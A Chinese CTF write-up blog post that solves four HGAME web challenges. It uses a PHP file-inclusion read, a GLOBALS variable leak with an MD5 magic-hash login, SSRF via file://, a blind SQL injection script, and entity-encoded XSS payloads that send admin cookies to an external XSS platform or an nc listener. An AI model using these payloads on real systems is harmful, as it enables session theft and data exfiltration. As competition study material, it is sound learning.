抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

第二周的题目明显难度提升了些许,不过稍微花点时间还是能做的。因为时间原因只做了web,但是能ak掉web已经算不错了hhh。希望在后面两个week还能继续如此吧。其中因为第四道题花了很长时间才做出来,干脆总结下做题经验顺便当学习笔记写写。

Cosmos的博客后台

个人觉得这道题出的挺不错的。至少把我之前淡忘的几个知识点都整合到一起。也顺便提醒了我接下来的学习笔记要写啥hhh。

首先进去一个登陆框。第一反应当然是sql注入。但是回显很有意思。

回显

这个“用户名或密码错误”回显直接否定了我们任何关于sql注入的可能。加上没什么隐藏信息,导致我当时这题就先放着去做第二道了。之后回过头看时,才想起来要抓个包。于是发现存在一个跳转
action

看到action就立马有了新思路。因为这正是文件包含漏洞利用的必备参数。那么就试试读文件吧。果断尝试伪协议。

?action=php://filter/read=convert.base64-encode/resource=index.php

这里自己被自己之前写的文章坑到了……原来一时兴起写了个“伪协议总能给你惊喜”,结果文章里注重php://input,但没有发现php://filter读文件的payload写错了…..自己有点淡忘就拿文章里的payload复制粘贴,结果半天不出结果。后来才发现自己写错了。
总之读到源码,base64解码后:
index.php

<?php
error_reporting(0);
session_start();

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}

$action = @$_GET['action'];
$filter = "/config|etc|flag/i";

if (isset($_GET['action']) && !empty($_GET['action'])) {
    if(preg_match($filter, $_GET['action'])) {
        echo "Hacker get out!";
        exit();
    }
        include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
    header("Location: ?action=login.php");
    exit();
}

发现admin.php的存在,以及login.php可能存在猫腻。 那也用伪协议读下
login.php

<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "用户名或密码错误";
        }
    }
}
?>
#html部分略

admin.php

<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}
?>

<html>
    <head>
        <title>Cosmos'Blog - 后台管理</title>
    </head>
    <body>
        <a href="logout.php">退出登陆</a>
        <div style="text-align: center;">
            <h1>Welcome <?php echo $_SESSION['username'];?> </h1>
        </div>
        <form action="" method="post">
            <fieldset style="width: 30%;height: 20%;float:left">
                <legend>插入图片</legend>
                <p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p>
                <p><button type="submit" name="submit">插入</button></p>
            </fieldset>
        </form>
        <fieldset style="width: 30%;height: 20%;float:left">
                <legend>评论管理</legend>
                <h2>待开发..</h2>
        </fieldset>
        <fieldset style="width: 30%;height: 20%;">
                <legend>文章列表</legend>
                <h2>待开发..</h2>
        </fieldset>
        <fieldset style="height: 50%">
            <div style="text-align: center;">
                <img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>
            </div>
        </fieldset>
    </body>
</html>

那么不难发现几个源码里的要点:
index.php中:
ban掉了flag与config。而后面可以注意到config.php被admin.php与login.php包含(include)了。

login.php中
1.存在一个参数debug,以及对这参数的eval()。也就是说我们获得了一个可控可执行的参数,但是要绕正则。
2.稍微注意下,登录时username以及password均需与对应的参数(肯定在config.php中,所以我们不可能通过其他途径登录)相等。但是password偏偏是==的弱类型相等。这就代表password一定会有漏洞。且甚至可以猜到,password的md5值开头是0e。这样才会有弱类型比较漏洞利用。

admin.php中
1.下面一段代码

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);

有点眼熟,再加上前面一段对host的判别,可以想见是存在ssrf漏洞。(虽然我不熟)百度一下,发现这果然是ssrf漏洞的经典代码。也提醒了我要准备学习ssrf的笔记了……

然后就是存在一个图片插入的功能。而且它会返回base64编码后的file_get_contents()结果。这也是ssrf利用中能拿到回显结果的重要细节。

所以思路很清晰了,从login.php下手,登录后台,利用ssrf拿到根目录下的flag。

首先是关于debug参数的利用了。

if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");

主要是这段代码,自己开始只理解成过滤了一堆东西……后来百度下,突然想起来原来ichunqiu上做过的一道题。叫做爆破-1。但实际上是一个全局变量的利用(因为它include了flag.php,所以传参globals就能通过eval($$a)拿flag)。而这题同样也include了config.php……回过头看正则,就会发现这个正则其实恰好限定了传参为变量名。具体参考stackoverflow:
https://stackoverflow.com/questions/3980154/how-to-check-if-a-string-can-be-used-as-a-variable-name-in-php
它要求开头第一个字母可以是字母下划线及不可见字符,后面其他字母可以是字母数字及不可见字符。(\x7f-\xff 确切的说,可以匹配utf-8编码中的非ascii编码字符)。总之确定可以传参数后,我们试试GLOBALS
GLOBALS
直接拿到用户名Cosmos!,以及密码是0e开头的事实。故选个0e开头MD5的字符串登录进去。

Cosmos!
s878926199a

进去后我也卡了好久……ssrf不熟,只能盲目的试。能确定的是需要host被解析为localhost,尝试直接http://localhost但是回显总是那张报错的图。唯一不同的在于,当我尝试http://localhost/flag时,返回的是404,也就是说curl成功执行了。所以说,flag应该是在服务器根目录,不是网站根目录。问题变为怎么读了。在查阅资料时突然注意到file协议可以读文件。于是换下file://协议
flag.PNG
居然成了。。。解码可拿到flag。后来郁师傅解释说,因为index.php存在302,curl不能跟随,获取是空的。结合源码中获取为空则返回错误图片这点,就明白了为什么http://localhost总是没结果
但我估计还有其他方法做,这里马一手。

Cosmos的留言板-1

说来惭愧,这题开始我ip又被ban了hhhh。好在貌似是题目问题,后来出题人调整了就好了。首先根据FUZZ可以确认存在sql注入。输入1回显正常,输入1'无回显。输入1"回显正常。那么显然,这是盲注的味道。因为只有正确错误两种回显方式,所以确认是布尔盲注。

然后fuzz了下ban掉的关键字:
空格,可以用%0a替代

select

关键字可以双写绕过

那不多说直接放盲注脚本了。整体还是比较简单的(之前总结的模板直接拿来套hhh):

import requests

flag=''
#hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
for i in range(1,50):
    a=0
    print(i)
    for j in range(32,128):
        payload="http://139.199.182.61/index.php?id=1'and%0aascii(substr((selselectect%0afl4444444g%0afrom%0af1aggggggggggggg),"+str(i)+",1))="+str(j)+"%23"
        #print(payload)
        res=requests.get(url=payload)
        if 'Hello' in res.text:
            flag+=chr(j)
            print(flag)
            a=1
    if a==0: break

Cosmos的新语言

这道题确切说不算难题吧。但是自己仍然耗费了2个多小时在这上面,感觉挺划不来的……

话不多说,先看题目
源码

初始进去发现有源码及回显。
源码很简洁,关键在于file_get_contents('mycode');开始习惯性以为是file_get_contents()的命令执行漏洞。但是仔细看,我们并没有可控参数。因为这里的'mycode'指代的其实是filename,如果有疑问,那么不妨放到php中看看
filename
也就是说,mycode是一个文件,而且回显的不知名内容也是mycode里面的。

回显就不简单了,看似是base64,但解码后仍然是未知编码。那么我们从mycode下手。由源码可知,mycode应该是跟index.php在同一个目录下的,故访问之。得到源码
mycode
可以知道,它定义了一个加密函数,并对$_SERVER['token']进行了多重编码。只要我们post的token与服务器的token相同即可拿到flag。

开始我想,这不是很简单吗,把编码倒过来解码不就好了?但是解出token后发现没有拿到flag,仔细回到原页面,发现一个大问题:
mycode中用于加密$_SERVER['token']的源码是变化的。唯一不变的是加密函数的数量总是10个,而加密函数的种类只有encrypt(),base64_encode(),strrev(),str_rot13()而这体现在index.php上回显的内容也是不断变换的。且基本上几秒钟就换掉了。也就是说,我们只能靠脚本解决,而不可能人手解决。
(当然,也许可以把几种孤零零的加密顺序的可能性不断试也许刚好碰对了。但这无异于大海捞针,就没有意义了。)

首先这里先权衡下脚本的书写方式。开始我是想用php脚本的。但是我不会php中与python里requests库有相同功能的知识,那就只能用python脚本了。但随之而来的问题是,我们需要把加密的函数改一改,而且python里还没找到rot-13decode的库……(我就是因为找了个错的rot-13解码脚本导致白花了快一个小时)

所以我的思路是这样的,请求两个页面,分别用正则拿到回显内容,以及mycode里10个加密函数组成的字符串。我再另写一个函数匹配字符串,每匹配到一个函数名字符串执行对应的解密函数。(稍微解释下,因为自己一开始弄反了。我们解密是要对回显内容从外向里解,故调用的函数顺序与我们从mycode里获得加密函数字符串中函数的顺序是一致的。
比如加密方式:

$密码=base64_encode(str_rot13(strrev($原码)))

我们需要:

echo(strrev(str_rot13(base64_decode($密码))))

来得到原码。
但我封装好的匹配函数的调用顺序仍是

base64_decode , str_rot13(), strrev()

被自己一开始的php脚本的固化印象影响,弄反了顺序导致老是报错。不太应该。话不多说,贴脚本

import requests
import re
import base64


def str_rot13(s, OffSet=13):
    def encodeCh(ch):
        f = lambda x: chr((ord(ch) - x + OffSet) % 26 + x)
        return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)

    return ''.join(encodeCh(c) for c in s)

def strrev(str):
    return str[::-1]


def decrypt(str):
    res=''
    for i in range(0,len(str)):
        res+= chr(ord(str[i]) - 1)
    return res

def exec(string,token):
    if string=='encrypt':
        return decrypt(token)
    if string=='str_rot13':
        return str_rot13(token)
    if string=='base64_encode':
        f=str(base64.b64decode(token),'utf-8')
        return f
    if string=='strrev':
        return strrev(token)

url='http://76c59cdfab.php.hgame.n3ko.co'
url1='http://76c59cdfab.php.hgame.n3ko.co/mycode'

res=requests.get(url)
res1=requests.get(url1)
key=re.findall(r'(.*)<br>',res.text)[2]
#print(key)
key1=re.findall(r'echo\((.*)\$',res1.text)[0]
#print(key1)
key1=key1.replace('(','<br>')
#print(key1)
token=key
print('\n')
for i in range(0, 10):
    text = re.findall(r'(.*?)<br>', key1)[i]
    token=exec(text,token)

print(token)

data={
    'token':token
}
flag=requests.post(url=url,data=data)
print(flag.text)

其中为了方便,把几个解密函数重新封装一下。decrypt()很好写,str_rot13()从网上嫖的。exec()就是用于匹配字符串并执行的函数,注意其中的base64要转字符串形式,不然解出来是二进制data;之后的keykey1分别用于获取请求的内容中我们要利用的回显与函数部分。这里需要自己调整一下,比如:

key=re.findall(r'(.*)<br>',res.text)[2]

我用re的findall()函数,由于返回的是列表故要记得根据res.text调整对应的下标。
之后我也用正则函数,匹配出函数字符串,去掉括号部分,并在之后调用exec()函数时,再次利用findall()的匹配得到函数名组成的列表,依次调用。最后解出token,post请求拿到flag。
flag
从flag也可以看出,我们也能用php脚本……然而我tcl而不会,不然可以省掉不少时间。

Cosmos的聊天室

花了最长时间的一道题……但毕竟是对我来说最难的一道了,做的非常辛苦但是又有许多收获。所以就着重笔墨多记录下这道题,顺便当自己的学习笔记好了。

进入界面
界面

首先当然是判断漏洞类型了。
从题目名字可以知道,可能是个前端漏洞。由于界面开始就提供了一个Flag is here的button。点击进去后发现提示
token
这里直接说明我们需要admin的token才能拿到flag。好的,前端+token,应该不难想到需要我们通过xss打到admin的cookie来获取token了。
然后整理下思路,大概是如此:通过message提交payload。然后下面一个验证码code用脚本跑出来。每次点击’提交’时,就会把之前传过的所有message都发给bot。bot自然是带有admin权限的了,那么它访问时触发我们的payload,我们拿到token就可以访问/flag了。

下面的验证方式并不难,只是会强行耗时间。通常用脚本跑出来都是7,8位数。

import hashlib

for i in range(1,999999999):
     code=hashlib.md5(str(i).encode('utf-8')).hexdigest()
     print(code[:6])
     if code[:6]=='bfa9a6':
         print(i)
         break

但是message的处理就不简单了。简单的fuzz后会发现存在过滤与特殊处理。这点之后再说。好在题目说明了,等我们测试成功后再提交验证码。这样所有内容都能交到adminbot手上,不至于狂跑脚本浪费时间。

其实自己在这道题之前并没有真正意义上做过xss打cookie类型的题目。头一次听说是在校赛上一道simple_xss的题目。那道题就是简单的过滤下用xss打cookie(当时题目出了不少bug,甚至源码泄露直接拿flag都行……)。不过我只知道最基础的xsspayload,根本不会利用xss打cookie。于是自己先选择百度+google,得知需要xss平台。
我用的这个在线网站:http://xsspt.com/
平台
于是明白,其实就是在xss平台创建一个项目,添加默认模板以及xss.js模板,之后只要在xss漏洞处尝试平台提供给我们的payload即可。比如:payload
即可执行xss打cookie。上面项目几个记录都是我在本地的DVWA上用xss-reflected这个漏洞的low级别的输入打的。

同时也注意到几点,以上payload基本上是这样几个形式

1.<script src=http://xsspt.com/mlRJMn></script>

2.<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL21sUkpNbj8nK01hdGgucmFuZG9tKCk='))>

3.javascript:eval('window.s=document.createElement("script");window.s.src="//xsspt.com/mlRJMn";document.body.appendChild(window.s)')

我分之为3种:
1.<script>标签的经典payload。src属性是外部引用
2.<img>标签的onerror属性,也是一种经典payload。同时用上eval(atob())处理base64字符串来bypass。还原下是这样的:

s=createElement('script');body.appendChild(s);s.src='http://xsspt.com/mlRJMn?'+Math.random()

3.以及第三种javascript伪协议。有效避免了尖括号的存在。
上面1,2两种payload我都用DVWA打到cookie了。第三种不行。

回到题目中来,这道题目的过滤比想象中严格的多。我把做题时的FUZZ结果贴下:

1.script关键字被转为 Hi there!
2.输入内容转为大写
3.标签整体过滤<>

第一点还好,script过滤了还有诸如img,svg/onload等等payload。
第二点有点难办,因为通常标签包括属性大写后仍然能正常处理(大写绕过是一种常见的绕过script的方法),但是连属性的值都大写会严重影响我的payload正常执行。比如ALERT(1)是没法执行的。xss平台上第二种payloadbase64+eval()也是不行的。因为大写后函数不能正常执行了,编码也错误了。
第三点非常难办,只要有标签就给滤掉。没有什么别的绕过方法。
所以xss平台提供的payload全军覆没,必须想绕过方法。

这时我想到了去年暑假自己写的一篇文章。是关于xss.me上的xss挑战的。当时基本上一路看着wp做过来,好多都没什么印象。但现在再看却发现了意外宝藏:https://www.jianshu.com/p/18473e2174f3
比如<>的绕过
还有:
大写的绕过

所以这里可以不闭合标签,利用实体编码完成xss。(没想到要靠自己的文章解决……好嘲讽啊)
好的,解决了尖括号与大写的问题后再解决一下script的问题吧。这里我找到了sky师傅之前做的xss题目以及他做往年hgame时对xss的绕过。
https://skysec.top/2018/08/17/xss-ssrf-redis/
https://skysec.top/2019/02/18/2019-Hgame-Web-Week4/

第一道题xss部分过滤了许多关键字,比如script以及onerror但是可以用

<svg/onload="document.location='vpsip:port'">

(这里同时也提醒我,不一定要用xss平台,用vps上的nc监听也可以。)
同时用下面的payload打cookie:

<svg/onload="document.location='vpsip:port/?'+document.cookie">

这里是用网页ip后的参数带出cookie。看到后面我的结果就明白了。
加上师傅hgame的payload其中的charcode部分其实就是

window.location.href="vpsip:port/?s="+document.cookie;

所以明白了获取cookie的payload格式。那么对此题,我们的理想payload就是

<svg/onload="window.location.href="ip:7788/?s="+document.cookie;">

这里我出于隐私把自己的ip滤掉,只显示我监听的是7788端口。

那么编码,去尖括号后,我们实际提交的payload为:(这里我把ip换成127.0.0.1)

<svg/onload="&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x72;&#x65;&#x66;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x31;&#x32;&#x37;&#x2e;&#x30;&#x2e;&#x30;&#x2e;&#x31;&#x3a;&#x37;&#x37;&#x38;&#x38;&#x2f;&#x3f;&#x73;&#x3d;&#x22;&#x2b;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x3b;"

在题目界面提交后我们看看有没有成功插入
message payload
可以看到,虽然回显显示的一个无内容的方框。但我的payload被成功解析。
同时在vps上监听端口7788

nc -lvp 7788

提交脚本跑出来的code,收到Success的同时查看服务器
token
成功带出token。那么用bp换token访问/flag吧。
flag

这道题真的花了很久。毕竟自己在此之前没接触过一道xss打cookie的真题。但是还是靠着网上知识学到了许多,成功拿到自己的flag。所以要多多向各位dalao以及百度谷歌学习啊。

评论